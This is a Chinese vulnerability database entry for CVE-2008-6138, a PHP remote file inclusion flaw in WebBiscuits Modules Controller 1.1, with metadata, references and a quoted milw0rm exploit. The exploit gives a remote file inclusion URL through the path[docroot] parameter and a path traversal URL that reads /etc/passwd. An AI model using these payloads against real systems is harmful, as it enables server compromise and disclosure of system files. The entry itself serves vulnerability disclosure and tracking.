WebBiscuits Modules Controller 'adminhead.php'代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116361 漏洞类型 代码注入
发布时间 2008-10-08 更新时间 2009-02-17
CVE编号 CVE-2008-6138 CNNVD-ID CNNVD-200902-335
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6703
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-335
|漏洞详情
WebBiscuitsModulesController1.1版本及其早期版本的adminhead.php中存在PHP远程文件包含漏洞。远程攻击者可以借助path[docroot]参数中的一个URL,执行任意PHP代码。
|漏洞EXP
_____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

WebBiscuits Modules Controller <= 1.1 (RFI/RFD) Multiple Remote Vulnerabilities
Script : http://webbiscuits.com/download/all11.zip
I- Remote File Inclusion Vulnerability
http://xx.com/adminhead.php?path[docroot]=020.txt
And More Files ....
II- Remote File Disclosure Vulnerability
http://xx.com/faqsupport/wce.download.php?download=../../../../../../../../../../../../../etc/passwd
   
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-08]
|参考资料

来源:XF
名称:modulescontroller-adminhead-file-include(45771)
链接:http://xforce.iss.net/xforce/xfdb/45771
来源:BID
名称:31655
链接:http://www.securityfocus.com/bid/31655
来源:MILW0RM
名称:6703
链接:http://www.milw0rm.com/exploits/6703